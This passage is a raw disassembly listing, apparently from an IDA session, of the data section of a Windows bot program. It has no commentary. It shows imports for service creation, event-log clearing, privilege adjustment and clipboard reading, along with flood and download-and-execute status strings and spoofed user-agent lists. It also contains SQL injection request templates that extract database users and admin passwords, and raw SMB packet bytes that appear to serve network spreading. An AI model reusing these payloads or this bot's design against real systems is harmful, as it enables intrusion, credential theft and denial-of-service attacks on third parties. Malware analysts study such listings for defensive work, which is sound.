sub_40BB43+5E1o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_40BB43+5D4o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_40BB43+5C7o align 4 aHtons db 'htons',0 ; DATA XREF: sub_40BB43+5BAo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_40BB43+5ADo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_40BB43+5A0o align 4 aConnect db 'connect',0 ; DATA XREF: sub_40BB43+593o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_40BB43+586o aSocket db 'socket',0 ; DATA XREF: sub_40BB43+579o align 10h aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_40BB43+56Co align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_40BB43+55Fo aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_40BB43+552o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_40BB43+545o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_40BB43+538o align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_40BB43+52Bo align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_40BB43+523o align 10h aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_40BB43:loc_40C055o align 4 aCloseeventlog db 'CloseEventLog',0 ; DATA XREF: sub_40BB43+4D5o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_40BB43+4C8o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_40BB43:loc_40C003o align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_40BB43:loc_40BFE8o align 4 aSetservicestat db 'SetServiceStatus',0 ; DATA XREF: sub_40BB43+415o align 10h aRegisterservic db 'RegisterServiceCtrlHandlerA',0 ; DATA XREF: sub_40BB43+408o aUnlockserviced db 'UnlockServiceDatabase',0 ; DATA XREF: sub_40BB43+3FBo align 4 aChangeservicec db 'ChangeServiceConfig2A',0 ; DATA XREF: sub_40BB43+3EEo align 4 aQueryservicelo db 'QueryServiceLockStatusA',0 ; DATA XREF: sub_40BB43+3E1o aLockservicedat db 'LockServiceDatabase',0 ; DATA XREF: sub_40BB43+3D4o aImpersonatelog db 'ImpersonateLoggedOnUser',0 ; DATA XREF: sub_40BB43+3C7o aStartservicect db 'StartServiceCtrlDispatcherA',0 ; DATA XREF: sub_40BB43+3BAo aCreateservicea db 'CreateServiceA',0 ; DATA XREF: sub_40BB43+3ADo align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40BB43+3A0o align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_40BB43+393o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_40BB43+386o align 10h aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_40BB43+379o align 10h aControlservice db 'ControlService',0 ; DATA XREF: sub_40BB43+36Co align 10h aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_40BB43+35Fo align 10h aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_40BB43+352o align 10h aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_40BB43:loc_40BE8Do align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40BB43+312o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40BB43+305o align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_40BB43+2F8o align 4 aOpenthreadtoke db 'OpenThreadToken',0 ; DATA XREF: sub_40BB43:loc_40BE33o aRegqueryinfoke db 'RegQueryInfoKeyA',0 ; DATA XREF: sub_40BB43+290o align 4 aRegenumvaluea db 'RegEnumValueA',0 ; DATA XREF: sub_40BB43+283o align 4 aRegenumkeyexa db 'RegEnumKeyExA',0 ; DATA XREF: sub_40BB43+276o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_40BB43+269o aRegdeletekeya db 'RegDeleteKeyA',0 ; DATA XREF: sub_40BB43+25Co align 4 aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_40BB43+24Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_40BB43+242o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_40BB43+235o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_40BB43+228o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_40BB43+220o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_40BB43:loc_40BD52o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_40BB43+1A2o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_40BB43+195o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_40BB43+188o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_40BB43+17Bo align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_40BB43+16Eo align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_40BB43+161o align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_40BB43+154o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_40BB43+147o align 4 aClosewindow db 'CloseWindow',0 ; DATA XREF: sub_40BB43+13Fo aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_40BB43+12Eo ; sub_42D64E+Do align 4 aGetcomputernam db 'GetComputerNameA',0 ; DATA XREF: sub_40BB43+AAo align 10h aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40BB43+9Do align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40BB43+90o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_40BB43+83o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_40BB43+76o align 10h aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40BB43+69o aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40BB43+5Co aModule32first db 'Module32First',0 ; DATA XREF: sub_40BB43+4Fo align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40BB43+42o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_40BB43+35o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40BB43+28o align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_40BB43+20o align 4 aKernel32_dll_1 db 'kernel32.dll',0 ; DATA XREF: sub_40BB43+3o align 4 aRa_0 db 'ra',0 ; DATA XREF: sub_40C847+423o align 4 aWon db 'won',0 ; DATA XREF: sub_40C847+376o aRst db 'rst',0 ; DATA XREF: sub_40C847+353o aWak db 'wak',0 ; DATA XREF: sub_40C847+330o aWy db 'wy',0 ; DATA XREF: sub_40C847+30Do align 10h aSDoneWithSFloo db '%s Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%' ; DATA XREF: sub_40C847+1AFo db 'dMB).',0 align 4 aSBadUrlOrDnsEr db '%s Bad URL or DNS Error, error: <%d>',0 ; DATA XREF: sub_40CDE2+6A8o align 10h aSUpdateFailedE db '%s Update failed: Error executing file: %s.',0 ; DATA XREF: sub_40CDE2+65Bo aSProcessFinish db '%s Process Finished: "%s", Total Running Time: %s.',0 ; DATA XREF: sub_40CDE2+57Bo align 10h a_2d_2d db ' %.2d:%.2d',0 ; DATA XREF: sub_40CDE2+544o ; sub_417CD7+2B4o align 4 aDS db ' %d%s',0 ; DATA XREF: sub_40CDE2+51Bo ; sub_417CD7+289o align 4 aHours db ' hours',0 ; DATA XREF: sub_40CDE2+50Eo ; sub_417CD7+27Co align 4 aHour db ' hour',0 ; DATA XREF: sub_40CDE2+507o ; sub_417CD7+275o align 4 aSCreatedProces db '%s Created process: "%s", PID: <%d>',0 ; DATA XREF: sub_40CDE2+457o aSFailedToCreat db '%s Failed to create process: "%s", error: <%d>',0 ; DATA XREF: sub_40CDE2+3E7o align 4 aSCouldnTParseP db '%s Couldn',27h,'t parse path, error: <%d>',0 ; DATA XREF: sub_40CDE2+328o aSFileDownload_ db '%s File download: %.1fKB to: %s @ %.1fKB/sec.',0 ; DATA XREF: sub_40CDE2+25Do ; sub_40CDE2+2C1o align 4 aSCouldnTOpenFi db '%s Couldn',27h,'t open file for writing: %s.',0 ; DATA XREF: sub_40CDE2+B2o align 8 off_437718 dd offset aFastWebcrawler ; DATA XREF: .text:0040E060r ; .text:0040E069r ... ; "FAST-WebCrawler/3.8 (atw-crawler at fas"... dd offset aGooglebot2_0Ht ; "Googlebot/2.0 (+http://www.googlebot.co"... dd offset aLynx2_8_4rel_1 ; "Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1"... dd offset aGooglebot2_1Ht ; "Googlebot/2.1 (+http://www.googlebot.co"... dd offset aMicrosoftWebda ; "Microsoft-WebDAV-MiniRedir/5.1.2600" dd offset aGooglebot2_0_0 ; "Googlebot/2.0 (http://www.google.com/bo"... dd offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 4.01; Win"... dd offset aGooglebot2_1_0 ; "Googlebot/2.1 (http://www.google.com/bo"... dd offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE 4.01; Win"... dd offset aGooglebot1_9Ht ; "Googlebot/1.9 (http://www.google.com/to"... dd offset aMozilla4_0Co_1 ; "Mozilla/4.0 (compatible; MSIE 5.0; Wind"... dd offset aGooglebot1_9_1 ; "Googlebot/1.9.1 (http://www.google.com/"... dd offset aMozilla4_0Co_2 ; "Mozilla/4.0 (compatible; MSIE 5.5; Wind"... dd offset aMozilla4_0Co_3 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0Co_4 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0Co_5 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0Co_6 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0Co_7 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0Co_8 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0Co_9 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla4_0C_10 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla5_0Co_0 ; "Mozilla/5.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla5_0Co_1 ; "Mozilla/5.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla5_0Co_2 ; "Mozilla/5.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla5_0Co_3 ; "Mozilla/5.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla5_0Co_4 ; "Mozilla/5.0 (compatible; MSIE 6.0; Wind"... dd offset aMozilla5_0Co_5 ; "Mozilla/5.0 compatible ZyBorg/1.0 (wn.z"... dd offset aMozilla4_75En ; "Mozilla/4.75 [en]" dd offset aMozilla5_0Slur ; "Mozilla/5.0 (Slurp/cat; slurp@inktomi.c"... dd offset aMozilla5_0Sl_0 ; "Mozilla/5.0 (Slurp/si; slurp@inktomi.co"... dd offset aMozilla5_0Wind ; "Mozilla/5.0 (Windows; U; Windows NT 5.0"... dd offset aMozilla5_0Wi_0 ; "Mozilla/5.0 (Windows; U; Windows NT 5.0"... dd offset aMozilla5_0Wi_1 ; "Mozilla/5.0 (Windows; U; Windows NT 5.2"... dd offset aMozilla5_0X11U ; "Mozilla/5.0 (X11; U; FreeBSD i386; en-U"... dd offset aScooter3_2 ; "Scooter/3.2" dd offset aWget1_8 ; "Wget/1.8" dd offset aMozilla5_0X1_0 ; "Mozilla/5.0 (X11; U; openSuSe i686; SMP"... dd offset aWget2_0 ; "Wget/2.0" dd offset aMozilla5_0X1_1 ; "Mozilla/5.0 (X11; U; Ubuntu i386; en-US"... dd offset aWget21 ; "Wget/2,1" dd offset aMozilla5_0X1_2 ; "Mozilla/5.0 (X11; U; Ubuntu i386; en-US"... dd offset dword_4377C4 dd 0 dword_4377C4 dd 73797870h, 392E312Fh, 342EhaMozilla5_0X1_2 db 'Mozilla/5.0 (X11; U; Ubuntu i386; en-US; rv:1.7.5) Gecko/20080112' ; DATA XREF: .text:004377B8o db 0 align 4 aWget21 db 'Wget/2,1',0 ; DATA XREF: .text:004377B4o align 10h aMozilla5_0X1_1 db 'Mozilla/5.0 (X11; U; Ubuntu i386; en-US; rv:1.7) Gecko/20060502',0 ; DATA XREF: .text:004377B0o aWget2_0 db 'Wget/2.0',0 ; DATA XREF: .text:004377ACo align 10h aMozilla5_0X1_0 db 'Mozilla/5.0 (X11; U; openSuSe i686; SMP; en-US; rv:1.7) Gecko/200' ; DATA XREF: .text:004377A8o db '51223',0 align 4 aWget1_8 db 'Wget/1.8',0 ; DATA XREF: .text:004377A4o align 4 aScooter3_2 db 'Scooter/3.2',0 ; DATA XREF: .text:004377A0o aMozilla5_0X11U db 'Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.5) Gecko/20031021',0 ; DATA XREF: .text:0043779Co ; .text:0043D998o align 8 aMozilla5_0Wi_1 db 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.5a) Gecko/20' ; DATA XREF: .text:00437798o db '030728 Mozilla Firebird/0.7',0 align 4 aMozilla5_0Wi_0 db 'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20' ; DATA XREF: .text:00437794o db '020718',0 aMozilla5_0Wind db 'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5) Gecko/200' ; DATA XREF: .text:00437790o db '31007',0 align 4 aMozilla5_0Sl_0 db 'Mozilla/5.0 (Slurp/si; slurp@inktomi.com; http://www.inktomi.com/' ; DATA XREF: .text:0043778Co db 'slurp.html)',0 align 4 aMozilla5_0Slur db 'Mozilla/5.0 (Slurp/cat; slurp@inktomi.com; http://www.inktomi.com' ; DATA XREF: .text:00437788o db '/slurp.html)',0 align 4 aMozilla4_75En db 'Mozilla/4.75 [en]',0 ; DATA XREF: .text:00437784o ; .text:0043D990o align 10h aMozilla5_0Co_5 db 'Mozilla/5.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http:' ; DATA XREF: .text:00437780o db '//www.WISEnutbot.com)',0 align 4 aMozilla5_0Co_4 db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461)',0 ; DATA XREF: .text:0043777Co align 8 aMozilla5_0Co_3 db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; ODI3 Navigator' ; DATA XREF: .text:00437778o db ')',0 align 10h aMozilla5_0Co_2 db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.1.0' ; DATA XREF: .text:00437774o db ')',0 align 8 aMozilla5_0Co_1 db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts' ; DATA XREF: .text:00437770o db '-MyWay; (R1 1.3); .NET CLR 1.1.4322)',0 align 10h aMozilla5_0Co_0 db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt+ .NET C' ; DATA XREF: .text:0043776Co db 'LR)',0 align 4 aMozilla4_0C_10 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser;' ; DATA XREF: .text:00437768o db ' .NET CLR 1.1.4322)',0 align 10h aMozilla4_0Co_9 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4' ; DATA XREF: .text:00437764o ; .text:0043D970o db '322; .NET CLR 1.0.3705)',0 align 10h aMozilla4_0Co_8 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4' ; DATA XREF: .text:00437760o ; .text:0043D96Co db '322)',0 align 4 aMozilla4_0Co_7 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: .text:0043775Co ; .text:0043D908o ... align 10h aMozilla4_0Co_6 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3' ; DATA XREF: .text:00437758o ; .text:0043D964o db '705; .NET CLR 1.1.4322)',0 align 4 aMozilla4_0Co_5 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)',0 ; DATA XREF: .text:00437754o ; .text:0043D960o align 10h aMozilla4_0Co_4 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows ME; Win 9x 4.90; H0108' ; DATA XREF: .text:00437750o db '18; AT&T CSM6.0)',0 align 4 aMozilla4_0Co_3 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461)',0 ; DATA XREF: .text:0043774Co ; .text:0043D958o align 4 aMozilla4_0Co_2 db 'Mozilla/4.0 (compatible; MSIE 5.5; Windows ME)',0 ; DATA XREF: .text:00437748o align 4 aGooglebot1_9_1 db 'Googlebot/1.9.1 (http://www.google.com/tools/bot.php)',0 ; DATA XREF: .text:00437744o align 4 aMozilla4_0Co_1 db 'Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)',0 ; DATA XREF: .text:00437740o ; .text:0043D950o align 4 aGooglebot1_9Ht db 'Googlebot/1.9 (http://www.google.com/tools/bot.php)',0 ; DATA XREF: .text:0043773Co aMozilla4_0Co_0 db 'Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)',0 ; DATA XREF: .text:00437738o ; .text:0043D94Co aGooglebot2_1_0 db 'Googlebot/2.1 (http://www.google.com/bot.php)',0 ; DATA XREF: .text:00437734o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)',0 ; DATA XREF: .text:00437730o ; .text:0043D948o aGooglebot2_0_0 db 'Googlebot/2.0 (http://www.google.com/bot.php)',0 ; DATA XREF: .text:0043772Co align 4 aMicrosoftWebda db 'Microsoft-WebDAV-MiniRedir/5.1.2600',0 ; DATA XREF: .text:00437728o ; .text:0043D944o aGooglebot2_1Ht db 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',0 ; DATA XREF: .text:00437724o ; .text:0043D93Co align 10h aLynx2_8_4rel_1 db 'Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/0.8.6',0 ; DATA XREF: .text:00437720o ; .text:0043D940o align 4 aGooglebot2_0Ht db 'Googlebot/2.0 (+http://www.googlebot.com/bot.html)',0 ; DATA XREF: .text:0043771Co align 10h aFastWebcrawler db 'FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/s' ; DATA XREF: .text:off_437718o db 'upport/crawler.asp)',0 align 4 asc_4381A8 db 0Dh,0Ah ; DATA XREF: sub_40DA0E+BBo db 0Dh,0Ah,0 align 10h a@: ; DATA XREF: sub_40DB4B+CFo ; sub_40DB4B+147o ... unicode 0, <@>,0 asc_4381B4: ; DATA XREF: sub_40DB4B:loc_40DBD1o ; sub_416C0B+147o ... unicode 0, </>,0 aFtp db 'ftp',0 ; DATA XREF: sub_40DB4B+72o ; sub_40DB4B:loc_40DD04o ... aHttp db 'http',0 ; DATA XREF: sub_40DB4B+62o ; sub_40DB4B+1A2o ... align 4 asc_4381C4: ; DATA XREF: sub_40DB4B+34o ; sub_416208+39Ao ... unicode 0, <:>,0 aDoneSU db 'Done --> %s:%u',0 ; DATA XREF: .text:0040EFCBo align 4 aIframe db 'iframe',0 ; DATA XREF: .text:0040EC8Bo align 10h aFrame db 'frame',0 ; DATA XREF: .text:loc_40EC77o align 4 aEmbed db 'embed',0 ; DATA XREF: .text:loc_40E9D9o align 10h aSrc db 'src',0 ; DATA XREF: .text:0040E7F1o ; .text:0040EA8Fo ... aImg db 'img',0 ; DATA XREF: .text:loc_40E73Bo aGetS1UnionSe_1 db 'GET %s=-1+union+select+1,2,concat_ws(char(58),version(),user(),no' ; DATA XREF: .text:0040E6E2o db 'w()) HTTP/1.1',0Dh,0Ah db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl' db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/' db 'msword, */*',0Dh,0Ah db 'Accept-Language: en-us,en',0Dh,0Ah db 'User-Agent: %s',0Dh,0Ah db '%s',0Dh,0Ah db 'Referer: %s',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aGetS1UnionSe_0 db 'GET %s=-1+union+select+1,2,concat_ws(0x3a3a,Username,Password)+fr' ; DATA XREF: .text:0040E68Bo db 'om+admin HTTP/1.1',0Dh,0Ah db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl' db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/' db 'msword, */*',0Dh,0Ah db 'Accept-Language: en-us,en',0Dh,0Ah db 'User-Agent: %s',0Dh,0Ah db '%s',0Dh,0Ah db 'Referer: %s',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aGetS1UnionSele db 'GET %s=-1+union+select+database(),version(),system_user(),session' ; DATA XREF: .text:0040E634o db '_user(),current_user(),last_insert_id(),3,4,5,6,user()/* HTTP/1.1' db 0Dh,0Ah db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl' db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/' db 'msword, */*',0Dh,0Ah db 'Accept-Language: en-us,en',0Dh,0Ah db 'User-Agent: %s',0Dh,0Ah db '%s',0Dh,0Ah db 'Referer: %s',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttpSDSS db 'http://%s:%d%s%s',0 ; DATA XREF: .text:0040E54Fo ; .text:0040E8F2o ... align 4 aHttp_0 db 'http://',0 ; DATA XREF: .text:loc_40E4FDo ; .text:loc_40E8A0o ... aHttpSDS db 'http://%s:%d%s',0 ; DATA XREF: .text:0040E4EDo ; .text:0040E890o ... align 4 aHref db 'href',0 ; DATA XREF: .text:0040E44Eo align 4 aRefresh db '"Refresh"',0 ; DATA XREF: .text:0040E202o align 10h aMeta db 'meta',0 ; DATA XREF: .text:0040E1E6o align 4 aGetSHttp1_1Acc db 'GET %s HTTP/1.1',0Dh,0Ah ; DATA XREF: .text:0040E122o ; .text:0040E34Do ... db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl' db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/' db 'msword, */*',0Dh,0Ah db 'Accept-Language: en-us,en',0Dh,0Ah db 'User-Agent: %s',0Dh,0Ah db '%s',0Dh,0Ah db 'Referer: %s',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHostSD db 'Host: %s:%d',0 ; DATA XREF: .text:0040E0F2o ; .text:0040E320o ... aHostS db 'Host: %s',0 ; DATA XREF: .text:0040E0D3o ; .text:0040E304o ... align 4 asc_438724: ; DATA XREF: .text:0040E08Ao ; sub_416C0B+175o unicode 0, <=>,0 aFailedToParse_ db 'Failed to parse.',0 ; DATA XREF: .text:0040DFFFo align 4 off_43873C dd offset off_42F434 ; DATA XREF: .text:off_42FBC0o ; .text:0042FD34o ... dd 0 a_?avexception@ db '.?AVexception@@',0 off_438754 dd offset off_42F434 ; DATA XREF: .text:off_42FBD8o ; .text:0042FC6Co ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_438774 dd offset off_42F434 ; DATA XREF: .text:off_42FC78o ; .text:0042FCBCo ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_40F0E1+1Eo a0_0_0_0 db '0.0.0.0',0 ; DATA XREF: sub_40F770+1A3o aSDoneWithDPack db '%s Done with %d pack(s)',0 ; DATA XREF: sub_40FA20+88o aPingTimeout?DD db 'Ping Timeout? (%d-%d)%d/%d',0 ; DATA XREF: .text:0040FBBEo align 4 aSLoginListComp db '%s Login List complete.',0 ; DATA XREF: sub_40FEC8+69o aIEmpty db '<%i> <Empty>',0 ; DATA XREF: sub_40FEC8+46o align 4 aISS@S db '<%i> %s!%s@%s',0 ; DATA XREF: sub_40FEC8+34o align 4 aSLoginList db '%s Login List:',0 ; DATA XREF: sub_40FEC8+Fo align 4 aSS0S db '%s %s * 0 :%s',0Dh,0Ah,0 ; DATA XREF: sub_40FFB4+156o aSS db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FFB4+10Co ; sub_41015C+41o ... aLeaving__ db 'leaving..',0 ; DATA XREF: sub_41012A+9o align 4 asc_438858 db 0Dh,0Ah,0 ; DATA XREF: sub_410234+Ao align 4 aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_410491+43o aSSS_0 db '%s %s : %s',0Dh,0Ah,0 ; DATA XREF: sub_4104F6+3Fo ; sub_4105DF+6Bo ... align 4 dword_438878 dd 25207325h, 13A2073h, 20434344h, 444E4553h, 1732520h ; DATA XREF: sub_410557+3Fo dd 0A0Dh dword_438890 dd 25207325h, 73252073h, 0A0Dh ; sub_410795+1Fo dword_43889C dd 25207325h, 73252073h, 0D732520h, 0AhaError db 'Error',0 ; DATA XREF: sub_4108C7+56o align 4 aS_2 db '%s|',0 ; DATA XREF: sub_410930+34o off_4388B8 dd offset byte_4E4957 ; DATA XREF: sub_41099D:loc_410A7Do ; sub_410AB7:loc_410BAAo aVista db 'Vista',0 ; DATA XREF: sub_41099D+D9o ; sub_410AB7+ECo align 4 a2k3 db '2K3',0 ; DATA XREF: sub_41099D+C3o ; sub_410AB7+D6o ... aXp db 'XP',0 ; DATA XREF: sub_41099D+B3o ; sub_410AB7+C6o ... align 4 a2k db '2K',0 ; DATA XREF: sub_41099D+A3o ; sub_410AB7+B6o ... align 10h aMe db 'ME',0 ; DATA XREF: sub_41099D+8Bo ; sub_410AB7+9Eo ... align 4 a98 db '98',0 ; DATA XREF: sub_41099D+7Bo ; sub_410AB7+8Eo ... align 4 aNt db 'NT',0 ; DATA XREF: sub_41099D+6Bo ; sub_410AB7+7Fo ... align 4 a95 db '95',0 ; DATA XREF: sub_41099D+58o ; sub_410AB7+6Co ... align 10h aSSCCC db '%s|%s|%c%c%c',0 ; DATA XREF: sub_410AB7+125o align 10h aI_1 db '%i',0 ; DATA XREF: sub_410BF1+94o ; sub_418614+1C7o align 4 asc_4388F4: ; DATA XREF: sub_410BF1+57o ; sub_410BF1:loc_410CA0o ... unicode 0, <|>,0 aCCCCCCCCC db '%c%c%c%c%c%c%c%c%c',0 ; DATA XREF: sub_410CB4:loc_410DCAo ; sub_410F23+E6o align 4 aDCCCCCCCCC db '|%d|%c%c%c%c%c%c%c%c%c',0 ; DATA XREF: sub_410CB4+106o align 8 aAbcdefghijklmn db 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXWYZ1234567890',0 ; DATA XREF: sub_410CB4+34o ; sub_410DDF+42o ... aSCCCCCCCCC db '%s%c%c%c%c%c%c%c%c%c',0 ; DATA XREF: sub_410DDF:loc_410F06o align 10h aDSCCCCCCCCC db '|%d|%s%c%c%c%c%c%c%c%c%c',0 ; DATA XREF: sub_410DDF+117o align 4 a_2d db '%.2d',0 ; DATA XREF: sub_41101E+66o align 4 aP db 'P|',0 ; DATA XREF: sub_4110B0+2Bo align 4 aSDone db '%s done',0 ; DATA XREF: sub_41112E+184o ; sub_41130C+158o ... dword_4389B0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: .text:00411F13o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0) dword_438A40 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:00411F3Eo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_438AF0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:00411F63o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_438BD0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_411A5E+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 